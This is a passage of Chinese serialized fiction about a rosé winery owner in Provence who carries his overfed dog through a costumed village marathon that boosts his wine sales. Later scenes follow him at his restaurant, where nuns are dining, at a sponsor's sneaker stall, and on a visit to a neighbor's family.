周围爆发出了雷鸣般的掌声,奇装异服的妖怪们似乎褪下了毛皮,露出了里面滚烫跳动的心脏,通通过来摸马赛的脑袋,祝福它接下来一定要取得好成绩。 罗南将自己脑袋上的红色玩具球取下来,戴到了马赛的头上,佐伊用一个松紧带固定它和帽子,戴在马赛的脑袋上也挺合适。 既然一起参加,就要尊重规则! 拿到最喜欢的玩具,马赛开心的转起了圈圈。 罗南抱着它的脖子亲了一下: “我们一口气跑到终点!” “汪汪汪——”钢灰色的靓影跟着罗南一起跑出去,开心的尾巴高高翘起。 第572章 一个都没少 离开补给点几分钟后,罗南又一次看到了卢尔马兰城堡,只不过从仰视改为了俯视。 吕贝隆是一片山区,离开村中心的山谷地带,外延海拔有一定上升。 这个赛段除了能从高处欣赏卢尔马兰全貌外,还给了选手们观察比赛前后情况的条件。 马赛是罗南的老搭档,一人一狗跑了好几个月,它的加入让罗南恢复到了之前的配速,超过了前方不少选手,借着地势向前望去,大概处于前20%的位置。 但向后望去.那可就精彩了。 分隔开葡萄园的小径上遍布色彩明亮的奇怪小人,长度绵延了好几公里,远方只有火柴盒大小的第一个补给点处还在人头攒动。 “真是不着急啊。”罗南回头过来,给马赛和自己打气,“今天我们争取拿个好成绩。” 绝大部分普罗旺斯本地人完全没把比赛放在眼里,有一些想要好好比赛的本地人又被服饰造型、美食美酒和女郎牵扯走了精力。 有马赛跟在身边,每一个选手都会注意到罗南的存在,他胸口的巨大斯特斯加logo定然能够赚足关注度。 如果能在业余选手里跑出来个比较好的成绩.关注度就更高了。 马赛似乎听明白了罗南的鼓励,小爪子倒腾的更快了,一副要大展身手的架势,看样子比平时晨跑还要兴奋。 罗南笑着用身体将它挡住: “不不不,不是从这里开始,等离开下一个补给点我们再努力。” 下一个补给点的主题是——粉红酒。 那是赞助合同上白纸黑字写上的权益。 在平地跑马拉松已经很累,海拔稍高的赛段只有这一处。 把补给点设置在这里的原因是——斯特斯加酒庄就在头顶。 第三处补给点没有设置表演,也没有搭建临时舞台,只有几个斯特斯加的伙计分布在补给点各处,给选手们安利斯特斯加的信息。 选择在这里歇脚的人喝着免费提供的冰镇粉红酒不听几句真是不太好意思。 在这里吃东西的人闲着也是闲着那就听听吧。 伙计们平日里的工作就是接待游客去葡萄园里野餐,介绍斯特斯加是他们每天都要做的事。 他们给选手介绍斯特斯加粉红酒在普罗旺斯的市场占有率; 介绍即将建成的斯特斯加新酒庄的位置和山顶更高处和斯特斯加相连的城堡酒庄的信息; 介绍这个收获季斯特斯加的目标是什么,和今年比要提升多少; 介绍斯特斯加打算联合普罗旺斯当地艺术家、明星和歌手推出定制款、签名款、原桶特殊瓶、特殊艺术瓶身款和联名款; 介绍在这片山坡的背面、靠北的山坡上有一块斯特斯加的葡萄园,那里正在培育从未在普罗旺斯出现和普及的‘梅洛’葡萄; 介绍那片北坡是如何申请到政府的‘实验田’资助,政府又投入了多大的支持力度。 起初只是想歇歇脚或者不好意思离开的选手们听的哑口无言。 除了因为嘴里塞满通心粉、牛排、烤鸡等美味食物外,也是因为他们从未想过一家粉红酒庄能讲出这么多的‘故事’。 再次看向手里那杯粉红色液体时,一些固有的想法有了些松动的趋势——原来粉红酒在普罗旺斯已经发展的这么好了? 应该不是假的吧? 你看,这个粉红酒庄都富有到赞助马拉松比赛了。 罗南进入补给点,悄无声息的转了一圈,发现还没有开始正式酿酒的斯特斯加居然已经有了这么多可以‘拿得出手’的东西。 这太让人骄傲了! 而且,选手们的反应也挺不错的,没有谁骂骂咧咧的离开或者辱骂粉红酒是伤风败俗的东西。 这大概就是‘喝人嘴短’的道理吧。 那么热的天气,选手们进入补给点一定会冲向女郎,现在粉红酒就是他们的‘命’。 “这次赞助太成功了。”罗南开心无比的想着。 本有的权益和布兰科临时增加的权益肯定会让今天每一个来参赛的人记住斯特斯加的名字,那么下一个任务就是让他们再记住自己。 从这里开始,他要认真比赛了! 马赛今天很兴奋,在罗南‘视察’补给点时,它特别不安分,罗南无奈只能放它自由活动。 现在想要离开,罗南要先找到他的‘搭档’在哪里。 找搭档没有耗费太多的时间,因为马赛在哪里,哪里就一定会围着一帮人。 罗南又一次在补给桌附近找到了他的搭档。 此时搭档正在啃三明治,而它的头顶还有奶酪、烤鸡、熏肉和西瓜等着它宠幸。 马赛开了三倍速,几口吃完了一个三明治,又一口叼走了好心人投喂的鸡腿。 “好可爱的狗子,你在这里干什么呢?” “想吃什么,我拿给你?” “它喜欢吃鸡,你们发现了没有?它刚刚也是选择的鸡腿。” “哦,那它吃两个鸡腿了?” “至少是第三个鸡腿了。”罗南制止了大家的投喂行为。 其实刚刚他就在纳闷,佐伊和父母在起跑附近给他加油,如果马赛是那个时候跑出来的,应该早就追上了自己才对。 因为前几个补给点罗南每一个都进,还在里面待了很长的时间。 很显然,有什么东西阻挡住了它的脚步。 “康奈尔到现在吃了多少我不清楚,你是真没少吃。”罗南俯身摸了摸马赛的肚子,那里的状态像是怀胎三月马上要临盆了似的,“原来你今天这么兴奋不是因为要和我一起比赛,而是你知道前面会有无穷无尽的食物。” 昨晚晚宴上,罗南恶毒的诅咒那些大快朵颐的馋嘴选手——即使胃像搅拌机一样强劲,也无法在吃下那么多食物后跑完42公里。 好了,现在诅咒反弹了。 虽然之后的几个补给点,罗南严厉禁止马赛吃任何食物,只给它适当补水,可当他们跑到约15公里时,马赛的速度明显慢了下去,并逐渐有了‘摆烂’的趋势。 从跑变成快走,又变成了走,最后罗南用腿顶它,它才肯走几步。 罗南悲观的认为,马赛下一步就要学呼呼躺地不起了。 他停下来,指着前面隐隐约约的帐篷给马赛打气: “就跑到那里,跑到那里我让志愿者通知佐伊来接你回家好不好?没几步了,加油加油!” 虽然比赛刚刚开始不久,但每一个补给点都有退赛的人。 听志愿者说,截至到目前已经退赛了200多人,他们预估最终能有三分之二的人跑到终点就不错了。 这么高的退赛率,让马赛回家也不算丢人。 但这里‘前不着村后不店’,马赛如果在这里罢工他是真没脾气了。 现在只能求着这个小祖宗再跑两步,到人多的地方再休息。 “加油马赛,加油加油,你可以的。”罗南手脚并用,扶着马赛的屁股以防它一屁股坐下去,同时用腿供着它的身体,让他走两步。 身后有选手路过,见到罗南这幅样子又听到他嘴里的鼓励,也降低速度鼓励马赛: “别放弃啊,你看你的‘搭档’都没有放弃你,你怎么能先放弃了?” 另一个人将他们超过,也鼓励道: “对啊,别放弃,去前面休息一下,多休息一会没关系,慢慢走到补给点不着急。” 在第二个补给点,帮助马赛申请比赛资格的某位老兄也超了过去,见到这情况,礼貌的问罗南: “需要帮助吗?我和你把它抬过去?” 罗南评估了一下距离.500米左右,并不算远。 又评估了一下马赛的体重40多公斤,比巴蒂轻多了。 康奈尔能扛着巴蒂爬100阶楼梯,自己怎么可能不行? “不用了,谢谢。”罗南一个标准硬拉姿势,将马赛抱起,继续比赛,“我把它抱过去。” 虽然恢复了比赛,但抱着马赛,罗南跑不太快,也担心跑太快,怀里的马赛吐一地。 身后的选手一个又一个的将他超过,许多都是之前赛段和他们有过一面之缘的人。 每个人路过他们,都会留下一句鼓励。 “老兄你太酷了!” “上帝,你太伟大了,不肯放弃自己的伙伴吗?” “马上就到了,加油加油,别放弃!” 负重40公斤跑500米对罗南来讲不算什么,甚至都没有大喘气。 可他前脚踏入补给点,后脚志愿者就给他搬来了椅子,眼前像变魔术一样出现了奶酪、面包、烤鸡、熏肉和水果等等得到了马赛一样的待遇。 大家抢着给他递水和粉红酒,四周的关爱眼神都快把罗南烤焦了。 “感觉怎么样?累不累?快休息一下!” “有没有哪里不舒服,需不需要叫医生?” “补充体力,吃点啊,吃点。” 罗南怕动作慢了,面前的鸡腿被马赛抢去,接下来咬了一口,他确实该补充一下体力了: “谢谢,我没事,你们不用担心。” 几个奇装异服的家伙手舞足蹈的说: “你太伟大了朋友,相信你的狗一定会因为有你这样的主人而骄傲的。” “是啊,不离不弃,相随相依,虽然你含泪鼓励的样子我没有看到,但我能体会那种心情。” “我刚刚听到你们的故事都流眼泪了!” 等会,等会,等会! 罗南越听越不对劲。 不过一想到这里是喜欢‘添油加醋’讲故事的普罗旺斯.一切又似乎可以解释。 至今还有不少卢尔马兰村民,认为罗南家的马桶是迈克尔乔丹设计的。 在‘驴唇不对马嘴’的和大伙聊了几句后,罗南找到了这个补给点的志愿者,一位满头花白的老妇人。 不等罗南开口,那老妇人抹着眼泪说: “我曾经也有一只刚毛犬,它是个粘人的小伙子,去卫生间它总是蹲在门口等着,看我的眼神让人记忆犹新,但它离开14年了,我都快记不得它是什么样子了,谢谢你,我在你的狗身上似乎看到了它的影子,不用担心,在这场‘距离为42.195的开心之旅’上,没有规则、没有赛制,只有一趟毕生难忘的旅途,你可以抱着你的狗完成余下的比赛,它也会得到名次,我向你发誓。” 罗南差点把手里的鸡腿扔出去。 我什么时候说过,要抱着它完成余下比赛啊女士? 我是来请求你给我妻子打电话,把它接回家去的! 只是短短几分钟的时间,罗南和马赛之间比琼瑶电视剧里描写的更加‘刻骨铭心’的主仆关系就在这个补给点里传播开来。 选手们不看节目了,也不看女郎了,全部去看罗南这个伟大的男子。 气氛已烘托到如此,罗南人设也被架起来了。 他非常清楚,抱着马赛跑完余下的20多公里无比困难,更别提取得好成绩,但还是在众人的欢呼和掌声中抱起马赛,像大英雄一样重新踏上旅途。 罗南低头看了一眼靠在自己身上,舒服到眼睛眯起的马赛,无语的说: “你小子也算是帮上忙了,我不仅不能骂你,还得感谢你帮我吸引来了注意力行吧,那我努力把你送到终点,让你拿块牌子。” 付出了努力的不只是罗南。 马赛也被动的付出了好几个月的时间,天天被罗南拉出来‘军训’。 今天也应该给他一个结局,以激励之前的那些付出。 罗南抱着必须把马赛送去终点的决心,投入到比赛当中。 20公里打卡点,状态还不错,只要每个补给点休息一会,没有太大的问题。 25公里打卡点,烈日当头,不仅热的要死,肚子也开始抗议,补给后继续踏入赛道。 30公里打卡点,太阳晒在皮肤上火辣辣的疼,虽然刚刚喝了不少水,嗓子和嘴还是很快干到不行,汗水模糊了双眼,怀疑马赛刚刚又偷吃了什么.因为它变重了,不过还好越来越多的人知道了他们的‘故事’,送来了鼓励和祝福,罗南咬牙继续。 35公里打卡点。 十公里负重长跑比想象中困难的多。 虽然还有最后的7公里多.但罗南真的要到极限了。 两条腿是软的,并伴发偶尔的恶心。 罗南从快跑变为慢跑,又从慢跑变为快走随时都可能停下来,结束这场‘开心之旅’。 “我们可能跑不到终点了。”罗南笑着和马赛交代了一句。 他们现在是‘同生共死’的关系,退赛也得和搭档说一声啊。 马赛把头靠到了罗南的脸上,像孩子一样哼哼了两声,尾巴也卷了起来,似乎在自责。 别管这次是不是演的,反正罗南心疼了。 “没事,我们明年再努力。”罗南渐渐停下,双手下放,就要将马赛放到地上。 下一秒,一双翅膀出现在他的余光里。 一个‘大黄蜂’打扮的选手用他的翅膀接过罗南手里的马赛: “我来抱它,你休息一会。” 罗南还没反应过来发生了什么,后背上又出现了一个手掌。 一人穿着白雪公主中小矮人服装的选手推着罗南的后背向前: “马上就到终点了伙计,坚持住,别放弃!” 罗南觉得这一刻的他高大无比。 唐老鸭、豌豆公主、波塞冬,甚至连‘阿拉法特’都向罗南和马赛伸出过援手。 但大家都要完成各自的比赛,帮助只是暂时的,很快就要和罗南分开。 罗南喘了一口气,但还是很累,速度一落千丈,在最后的3公里,落到了几乎快末尾的位置。 正当他自嘲的和马赛说‘只要不是最后一名就是胜利’时,——两手一空,手里的马赛没了。 再一回头,小丑妆的小胖子康奈尔出现了。 “早就听到你们的事迹了,上帝,我还以为碰不到你和马赛了。”康奈尔的脸红的像是个大番茄。 罗南惊奇的问: “你还在比?我还以为你们退赛了!” 农夫们虽然业余,但体力都不差。 罗南从前20%的位置,一路掉到末尾,超过他的选手有好几千人,但这其中一个卢尔马兰的村民都没看见。 能解释这个现象的,只有他们集体退赛了! “怎么可能退赛呢,罗南先生!”亨利的声音出现在了罗南的另一边。 他的水手服早就湿透,头发也湿哒哒的贴在头顶,看起来像是一个秃了大鸟。 不过大鸟一张嘴,还是那个味道: “我的目标可是拿20万法郎的奖金,只不过被这些家伙‘拖累’了,哼!算了算了,这次我们大家都聚齐了,一起冲线也是个不错的结局。” “哪些家伙?”罗南的体力消耗很大,脑袋转的不太快。 “是我们,我们啊,罗南!!” 罗南闻声回头,见到好几个卢尔马兰村民都在身后,那其中许多脸孔都是被他划定到‘绝不可能完成’比赛名单里的。 波热使出吃奶的力气,扶着腰追到罗南身边,上气不接下气的说: “别听亨利瞎说,20万奖金他连味道都闻不上,反正拿不了第一了,我们一合计,决定拿一个别的‘第一’,一个其他人都完成不了的成就!” “什么成就?”罗南呆呆的问。 “让全部人完成比赛的成就,这里是卢尔马兰的土地,卢尔马兰人必须全部完成比赛!”康奈尔低头对马赛说,“你也是哦马赛,我们一起撞线!” 亨利突然降低了速度,咬牙切齿的说: “我本来都快冲到第一了!” 罗南还在状态以外,回头看亨利要去干什么,波热拉住他的胳膊,带着他向前跑: “别看了,报名参赛的卢尔马兰人没一个退赛,只是落在了后面,就算是抗着他们走,也必须全部完赛!现在和你汇合更好了,这不就是我们平时的‘晨练’阵容吗?一个都没少,连马赛都在!” 对于那场马拉松赛最后的三公里记忆,罗南已经很模糊了。 周围的景色模糊了,眼前的人模糊了,最终用什么成绩完成的比赛也模糊了。 因为他的情绪、他的心灵、他的大脑全部被一种名叫骄傲和幸福的情绪所填满。 布兰科说,这是一场和其他马拉松赛完全不一样的体验,也许会颠覆选手对马拉松的认知。 罗南认为政府的目的达成了。 他从未想有朝一日自己面目狰狞、喘气像是个大封箱的跑马拉松时,心里想的却是希望时间慢一点,再慢一点。 他真的好喜欢这一刻的氛围。 第573章 女修会 ‘一个都不能少’的美好愿景并没有实现。 因没有缴纳100法郎的参赛费,马赛被组委会取消了‘选手’资格,无法提供完赛证书,成为了卢尔马兰‘晨练小队’中唯一没有成绩的那个。 不过成绩已经不重要了,今天它毫无疑问是全场焦点。 比赛结束后的留念环节,无论是大合照,还是单人照,选手们都喜欢拉着它一起,似乎将它看作赛会吉祥物了。 当然了,陪同吉祥物一起的,还有它的伟大主人罗南先生。 罗南的最终成绩排在第3552名,这比他预期中的名次多了一个‘3’。 但万万没想到,成绩糟糕的他却收获满满,超过预期太多倍。 每位选手来卢尔马兰参加‘长达42.195公里开心之旅’的目的不尽相同,但完赛后,他们都记住了一只名叫马赛的刚毛犬,和它那胸口写着斯特斯加logo的主人。 “这场马拉松真有意思啊,我只是想来吃点免费的午餐,没想到处处是惊喜。” “今天比赛给我留下最深刻印象的是每个补给点里的女郎、女郎手里的冰镇粉红酒还有那个叫罗南的男人。” “这个天气喝粉红酒真是太爽了,为什么我之前没有发现?” “现在发现也不迟啊,夏天还有好几个月才过去,你可以买一点,对了,就在这里买吧,斯特斯加酒庄就坐落于卢尔马兰。” “走,我们去看看!” 马拉松结束了,但马拉松带来的连锁反应并没有结束。 比赛当天下午,卢尔马兰每一个杂货铺里的斯特斯加粉红酒货架都遭到了‘洗劫’。 摆满——卖完——摆满——卖完.如此往复了不知多少遍,游客都热情的去游客中心问有没有粉红酒卖。 忙着开车四处送货的伙计们开玩笑的对罗南说‘粉红酒之乡’初见雏形了。 每一位来卢尔马兰的外地人离开的时候都得带两瓶粉红酒.这种在喝多了之后才敢开的玩笑.居然成真了? 虽然跑了一场跌宕起伏的马拉松,罗南还是跟着伙计们忙到太阳快下山才离开这么大的游客量,不亲自盯着他真不放心,即使躺在床上也不踏实。 下午安顿完斯特斯加的业务,他又转头去了餐厅。 餐厅这边如果没什么情况,他还打算去编织大院看看。 只能说老板不好当,尤其罗南还是个操心的人。 “好漫长的一天啊。”罗南迎着夕阳走向卢尔马兰最热闹的步行街。 神奇的是,他一点都不觉得累。 就像希尔维所说的那样——举行活动对卢尔马兰太重要了。 今天斯特斯加在卢尔马兰的销售额是平时的几十倍。 如果每一次活动都能这么成功就好了! 旅行季到来后,罗南的中餐厅外总是会排着长队,今天自然也不例外。 他在门口没有见到伊莎贝尔,猜测可能是带客进去了,于是问过来帮忙的维埃里: “餐厅这里一切都好吧?” 罗天海和冯珍在比赛结束后和罗南匆匆见了一面便赶了回来,可想而知餐厅里有多忙。 维埃里忙得都快出残影了,身影在人群里快速移动,罗南差点跟不上他: “忙死了,以前还有能喘口气的时候,今天没有一刻得闲。” 罗南拍了拍他的肩膀: “辛苦了,和伊莎贝尔轮着干吧,我进去看看。” 迎宾真不是谁都能干的。 硬干肯定能干,罗南指的是能干好。 一个称职的迎宾员首先得外形和谈吐好,给顾客留下一个不错的第一印象。 业务也不能落下——在餐厅外要安顿等位客人的情绪,还得维护秩序,同时还得了解餐厅里翻台的情况,并有快速处理突发情况的能力。 罗南挺幸运的,手下有两位才貌双全的‘大将’,在特殊的日子里,伊莎贝尔和维埃里可以轮换着来。 维埃里仰天长啸: “伊莎贝尔?她恐怕一时半会出不来了。” 罗南脚步一顿,回头问: “她怎么了?” 维埃里的人已经不见了踪影,但留下了一句话给罗南: “你进去看看就知道了。” 罗南以为餐厅里出了什么意外情况,还怪紧张的。 进来一看,一切井然有序,甚至比平时还安静一些呢。 快速扫了一圈,他很快找到了伊莎贝尔,并且也找到餐厅里比平日安静的原因了。 伊莎贝尔正站在一个长桌旁,俯下身子认真聆听一位修女打扮的客人说话,这一桌子客人全部是这样的打扮,足足有二三十人。 “那些女修士是什么来头?”罗南悄悄问收银台后的母亲冯珍。 餐厅里怎么一下子来了这么多宗教人士? “她们是一个医疗修会的成员,给今天的马拉松提供保障。”冯珍对餐厅里的事了如指掌。 这些修女进来的时候也吓了她一跳,赶紧把机灵的伊莎贝尔调过去,很快拿到了‘客户档案’。 由于宗教原因,普罗旺斯是许多天主教会的发源地或者重要基地,别看本地人对宗教的热衷不如往日,但这些修会相当活跃。 其中有几类已经存在了近千年。 第一类是隐修院修会,这类修会非常注重与世隔绝的祈祷、劳动和灵修生活,普罗旺斯的偏远山区和乡村为他们提供了理想的环境。 最有名的当属本笃会,它是西方隐修制度的鼻祖,虽然不如西多会那样闻名,但普罗旺斯有非常多的小型本笃会团体或隐修院。 在当地最有名的是西多会,这个修会以宏伟建筑闻名,塞南克修道院、勒托南修道院和西尔瓦卡内修道院这三个被称为‘普罗旺斯三姐妹’的修道院都是西多会的杰作。 第二大类是托钵修会,又称‘乞食修会’,这类修会注重神贫、宣讲福音和在城市中服务民众。 其中比较有名的是方济各会和道明会。 前者强调清贫和简朴,活跃在平民之间。 后者以学术研究和公开讲道著称,他们更注重知识分子和城市居民的牧灵工作,在马赛、艾克斯这样的大学城有许多道明会的活动中心,他们还会通过撰写文章或举办讲座来与公众交流。 除了以上两类历史悠久的修会,近代也出现了许多修会及使徒生活团。 这类修会多成立于17世纪后,注重特定的社会服务,如教育、医疗和海外传教等。 这一次出现在罗南餐厅里的就是其中的一支,结合全部是女修的特殊性,罗南一下子就认出她们来自仁爱会。 这是一支全部由护士和医生组成的女修会,经常以志愿者的身份在当地提供医疗保障。 这个信息也和布兰科在晚宴上说的信息对应上了。 她们是马拉松的‘幕后英雄’,免费提供医疗保障工作,既然知道对方身份,再收人家的钱就不合适了。 “那桌的钱别要了。”罗南对冯珍说。 冯珍‘嘿’了一声: “我还能不知道给她们免单?但人家不同意啊,不仅不同意,还一直对咱们说感谢,说谢谢这里的老板给吕贝隆捐赠了第一台管风琴,还出资翻新了教堂,说如果咱家有需要,她们随时都会给我们提供帮助。” 罗南斜靠在收银台上咂了一下嘴,心想管风琴终于带来些实际性的‘回报’了。 想到什么,他问冯珍: “妈妈,你对圣母升天节的活动感兴趣吗?” 冯珍反问罗南: “我看村里贴的都是这个活动的宣传单,但这个活动是干什么的?” 罗南耸肩,表示自己也不清楚,这是个当地的宗教活动: “不知道,只知道是当地比较大的节日,不过,你可以近距离去听听管风琴演奏。” 冯珍没有过多犹豫: “行,那我去听听,明天我去游客中心买两张门票。” 这两张门票自然是她和罗天海的。 罗南趴在收银台上,挑着眉毛说: “多买两张呗,我和佐伊也去看看。” “啊?你又对音乐感兴趣了?”冯珍一阵欣喜,认为自己的勇敢决定唤起了儿子那沉寂已久的音乐细胞。 罗南看着女修士那桌,若有所思的回答: “不不不,我是担心你听不明白,如果佐伊在,她还可以给你讲一讲,而且我也想要参与到那个活动里体会一下。” 罗南不想错过活动的机会。 宗教活动有诸多限制因素,但今天来的这批女修士说明不是什么都收获不到。 即使空手而归,就当陪家人去玩一趟了。 虽然不是想要的答案,但冯珍还是兴奋的答应下来: “行,我明天去买四张门票,咱们四口人一起过节!” 从餐厅离开,罗南去编织大院看了一圈。 今天巴蒂、桑德琳和卡福全部在卢尔马兰盯着,除了销售有点不够用外,一切正常。 巡视完这一大圈,罗南终于能拖着疲惫的身体回家了。 晚上6点左右的卢尔马兰街道上还是人头攒动,有一股‘狂欢’还没结束的味道。 博尼约的山羊赛跑大赛也是同样的情况,许多人都狂欢到了很晚很晚才离开。 今天不仅有几万名游客和300多名志愿者来到卢尔马兰,赞助商们也组团来到了卢尔马兰观看比赛。 街道两旁出现了许多临时摊位和logo牌,那些是赞助商们的权益。 工作原因,罗南今天格外留意其他几个赞助商的情况。 他发现除了斯特斯加在今天收获颇丰外,还有一个客户今天的收益同样不少。 那是一个运动鞋的客户,早上7点多就摆出了摊位售卖他们的商品。 要知道,许多选手都是抱着玩的心态来的,罗南还看到有人穿着拖鞋跑,不过经过这位运动鞋客户一安利,有不少选手在比赛前买了一双。 但更多的是跑完步,在鞋子上吃了大苦的他们,决定给自己买一双,保护好自己的双脚。 “真是个聪明的客户。”罗南认为这个来马拉松比赛上卖跑鞋的客户太有才华了,他同样做了一个无比正确的决定。 路过这个客户在村子里最大的摊位,罗南意外发现——这个‘正确’的决定背后似乎还有点其他的情况。 他居然在那个摊位上,看到了略伦特。 这次的马拉松比赛是略伦特提供的灵感,据说他在其中出了不少力,可以供应几千人吃饱的补给餐就是他协调来的人力。 罗南还纳闷今天怎么一直没见到原来略伦特又把这里当作了社交的战场。 他拿起摊位上的一双跑鞋,幽默的略伦特打招呼: “不是我说.改行了也不通知我一下?我肯定得给你捧捧场啊。” 略伦特惊呼一声,瞬间将罗南抱住: “快看看是谁来了,是我们的大英雄!我还想一会忙完去你家喝两杯呢!” 罗南从未邀请过略伦特去自己家,他们的关系没有好到这一步,很显然,这幅‘亲密无间’的样子是做给旁人看的。 果然,和罗南寒暄了两句后,略伦特对身边一个白胡子老头说: “你们也太有缘了,你说想要认识罗南,罗南就出现了,来来来,我给你们介绍一下——” 略伦特给罗南介绍的这位是运动鞋客户的老板。 罗南和对方说了几句场面话,心里想的是——农业部的新措施对畜牧业的打击可真大啊,略伦特都离开了他所熟悉的美食领域,巴结起运动客户了。 不过罗南这次也有事想要拖略伦特帮忙,而且这个运动鞋的客户是略伦特帮卢尔马兰拉来的,于公于私都得配合一下。 留下联系方式后,罗南以‘身体疲惫’为由先行离开,不过走之前他附在略伦特耳边说: “我想要见伯纳德一面,劳烦帮我问问他最近忙不忙。” 事实上,和这种‘利益至上’的人打交道挺省心的。 罗南帮了略伦特的忙,略伦特一定会满足罗南的愿望。 他握着罗南的手,一副依依不舍的样子: “伯纳德最近很忙,你知道的,葡萄马上就要成熟,他有太多的心要操,每一件事都关乎十几万甚至上百万的生意,不过请放心我的朋友这个月我一定让你见到他。” 第574章 探望 罗南一到家倒头就睡,像死猪一样。 这一天真是累死他了。 妻子佐伊晚上几点回来的、早上几点离开的、中间又做了什么完全不清楚,再睁眼已经是第二天上午9点。 9点对于在城市里生活的人来说可能连懒觉都算不上。 但卢尔马兰人起床生物钟通常是6点多,年纪大的人更早,就连特奥那种绝世大懒蛋7点多也会爬起来吃早饭。 一觉睡到这个时间,罗南的心态反而放平了——今天适当给自己放个假。 他在床上墨迹了一会,9点半起床洗澡。 收拾完自己,饥肠辘辘的下楼想找点能快速充饥的食物,一眼看到佐伊做好放在厨房显眼位置的爱心早餐,幸福感从脚底顶到了天灵盖。 等不及吃完早饭再见到妻子,罗南端着盘子跑去工作室。 这就是居家工作的好处,想对方了,不到一分钟就能见到! 佐伊正打磨玻璃,见罗南来了,卫生和安全意识极高的她严肃的下达了‘驱逐令’: “这里全是粉尘,快出去,下次不戴防护措施不要进来。” 罗南忽视掉了佐伊身上的粉末,抱着她腻腻歪歪的说: “十几个小时没见到你,想你了。” 面对罗南这张嘴,佐伊一点脾气都没有。 天知道在外面害羞含蓄的他在家里说起情话来居然完全没有收敛,还什么肉麻说什么。 佐伊一改之前的严厉,哄着罗南离开: “乖,你先出去,我马上忙完,今天下午不工作了,专心陪你好不好?” 她也忙碌了好一阵子,是该放个假了。 罗南兴奋的答应下来: “好,那我中午来接你吃饭。” 佐伊发出了一道代表疑惑的鼻音: “上午还要出去吗?我以为你今天要休息一天。” 罗南给同样参加马拉松比赛的康奈尔和亨利放了一天假,佐伊以为罗南自己也会休息一下。 而且都这个时间了,还要出去忙? 罗南点了点头: “我得去斯特斯加的酒窖盘库存,昨天又消耗了不少酒,得赶紧和远在阿维尼翁的卢卡斯和特奥通报情况,今天只有这一件事要忙。” 昨天零售大爆发。 库存变了,供货的数量也要随之改变。 罗南真希望赶紧到9月份,把新的葡萄酒酿上。 砸锅卖铁,也不能再过这么紧紧巴巴的日子了! 不过一想到砸锅卖铁,罗南脑海中那个理性的小人马上跳出来,提醒他可不能像卢卡斯那样。 卢卡斯现在状态怎么样罗南不清楚,但罗南患上了严重的卢卡斯ptsd症——每次一计划花大钱,就会联想到去年卢卡斯那副背着大山、举步维艰的模样。 不过想到卢卡斯,罗南又想到——他走之前拜托自己照顾下妻子和儿子,这两人许多年没有在卢尔马兰过过夏天,担心他们不适应这里的生活。 “咱们今天去看看艾米丽和吉拉尼吧?”罗南建议道。 佐伊和他今天难得同时休息,正好可以把这件事办了。 罗南去斯特斯盘了库存,之后给卢卡斯的传呼机留言,让他晚上联系一下自己。 今天正值卢尔马兰集市的日子,罗南又去集市上买了许多应季的新鲜水果和蔬菜。 卢卡斯有钱后就去城里买了房子,先是阿维尼翁,后来是马赛,那些年间他们一家三口人只在松露采摘季回来住上一段。 卢卡斯居住的时间稍长,每年至少有4个月。 吉拉尼要在城市里上学,母子俩只在放寒假的那一个月回来,但是也待不安生,经常往城市里跑。 卢卡斯说过,艾米丽和吉拉尼更加喜欢大城市的生活,如果不是为了陪丈夫和父亲,可能一年都不会回来一趟。 只在冬天回卢尔马兰生活,就一定会错过许许多多的新鲜水果和蔬菜。 但这些才是普罗旺斯的‘精华’所在啊,时令性的新鲜食材比肉还好吃。 现在他们回来了,罗南自然要帮助他们弥补上这份遗憾。 买完东西,罗南回家把佐伊带上,一起去了村子的另一端。 卢卡斯的妻子艾米丽正在院子里打扫卫生,见陌生车子驶来,停下手上的动作警惕的看了一会,再看清车里坐的是罗南和佐伊,才笑着放下扫把迎过来: “怎么不提前打个电话?快进来,外面热。” 生活在乡下的人,去邻居家从来不打电话预告,‘不请自来’是常态,因为大家的往来太频繁了。 借东西去一趟、买到了好吃的西红柿去送点、听到好玩的笑话迫不及待的去分享、想喝咖啡了、想喝酒了、无聊了随时想去就去。 而居住在大城市的人,拜访必须提前预约,社交活动带有非常明确的目的性,可能生活了十几年,仍然叫不出邻居的名字。 罗南打开车门下车,问艾米丽: “你刚刚为什么那么紧张?是最近有什么人来过吗?” 他绝对没有看错,艾米丽看到车子非常警惕,第一反应是用力把扫把抓紧。 艾米丽摇着头说: “卢卡斯去阿维尼翁后,家里第一次来客人,就是因为平时不会有人来,我才紧张。” 她看着房子后面茂盛的森林,叹气道: “这里太偏僻了,真的太偏僻了,这也是我和吉拉尼之前不喜欢回来的其中一个原因。” 这所房子是特奥在村子里吹牛的资本——卢卡斯的房子在森林里,我在房顶就可以开枪打鸟,你们根本不知道这有多快乐! 但这份快乐在艾米丽眼中,却成为了安全隐患。 佐伊从另一侧车门下来,与艾米丽做了一个贴面礼: “你还好吗亲爱的?旅行季卢尔马兰相对安全,冬天盗贼才会出来活动,而且他们不敢偷盗有人居住的房屋。” 罗南也跟着安慰: “我新买的实验林就在这附近,政府在这周围加强了安保措施,实验小队也每天都会出来巡逻,请相信我,你这里很安全。” 罗南新买的森林外延距离卢卡斯家已经非常近了。 那片林子是卢尔马兰冬季旅游的希望,是费尔南教授的心血,他们都不会允许让这片林子附近出事。 艾米丽拍了拍胸脯,笑着说: “抱歉,一来就让你们听这么多抱怨,好了好了,快进来,外面太热了。” 罗南和佐伊有东西要拿,稍微耽搁了一下。 趁着弯腰的功夫,罗南悄悄问佐伊: “艾米丽是土生土长的卢尔马兰人吗?” 佐伊知道罗南的‘言外之意’是什么,一针见血的回答: “你是土生土长的巴黎人吗?” 罗南一下子就听明白过来。 他在巴黎生活了整整21年,但在普罗旺斯居住1年就被同化了。 艾米丽是土生土长的卢尔马兰人没错,但她搬去大城市住了将近10年,早就是个‘老城里’了。 罗南带来的蔬菜和水果堆了整整一个岛台台面,艾米丽热情的邀请: “上帝,你们买了太多东西,留下一起吃饭吧?我和吉拉尼可吃不完这么多。” 罗南和佐伊中午和下午没有其他安排,爽快的答应下来。 卢卡斯出差,他们有义务陪陪他的老婆和孩子。 艾米丽开心的走向一个方向,站在某间房门前大喊: “吉拉尼,快起床,家里来客人了,妈妈去做饭,你陪客人们聊聊天。” 罗南和佐伊同时看向墙上的时钟,此时指针已经走到了10和11的中间。 两个人默契的相视一笑。 怪不得卢卡斯临走前不放心,还特意去了罗南家一趟。 这母子俩都还没有适应乡村的节奏啊。 卢卡斯的儿子吉拉尼比维埃里小3岁,开学后上高中2年级。 这次决定一家人搬回卢尔马兰生活,这孩子出了不少力,坚定不移的和父亲卢卡斯站在同一边,原因是吕贝隆的高中管的没有马赛的高中严。 